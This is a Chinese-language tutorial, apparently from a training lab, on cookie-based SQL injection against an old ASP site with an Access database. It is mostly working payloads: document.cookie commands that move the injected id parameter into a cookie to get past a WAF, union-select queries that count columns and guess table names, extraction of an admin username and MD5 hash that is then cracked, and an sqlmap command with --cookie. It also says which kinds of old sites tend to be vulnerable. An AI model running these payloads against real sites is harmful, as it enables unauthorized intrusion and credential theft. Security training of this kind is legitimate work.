Access注入--cookie注入

                                           Access注入--cookie注入

 

针对老网站: asp aspx php<5.4以下>

 

题目: http://59.63.200.79:8004

 

1.http://59.63.200.79:8004/shownews.asp?id=171-1

#页面有变化,存在注入

 

2.http://59.63.200.79:8004/shownews.asp?id=171' and order by 1 -- qwe

#检测到非法字符,有防护.

怎么绕过:

1.规则绕过:

          1.用其他函数替换要用的函数

          2.用一些大小写或其他的方法去绕过

2.让waf不再对我们检测

 

id=171        GET传参

                   POST传参

                   Cookie传参 = header传参

                   PHP中的 $REQUEST['id'] 可以接收GET传参,POST传参,Cookie传参

                   注:php5.4以上不会接收Cookie传参

 

设置Cookie:ookie使用需要URL编码

1.浏览器F12,Applica,Cookies

2.burp 抓包,URL编码,添加cookie,重放

3.浏览器F12,Console js控制台, document.cookie="id="+escape("171 order by 10")

删除URL中的id=171,重新进入网页.

 

3.document.cookie="id="+escape("171 order by 11")

#10,正常 11,异常 有10个字段

 

4.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10")

#报错,因为数据库不同,Access数据库是非常老的数据库,MySQL语法不同

#access:没有系统自带表,没有库名

强行猜测: user admin news job

 

5.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from user...")

#强猜表名 使用burp,添加sqlmap中的表名字典进行爆破

 

6.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")

#报出2,3,字段点,字段名也需要强猜.

 

7.document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")

#得出username:admin

 password:b9a2a2b5dffb918c

 

8, b9a2a2b5dffb918c MD5解码: welcome

 

使用sqlmap工具跑Cookie注入:

sqlmap.py -u "http://...../.../.asp" --cookie "id=171" --level 2

 

Cookie注入的核心: 传参的方式不同

        asp(很常见10 9个)

        PHP(10 1个)

        jsp(100 1~2个)

cookie注入和数据库没有关系

         Access

        mysql

        oracle

        mssql

        DB2

你可能感兴趣的:(SQL注入,web,access)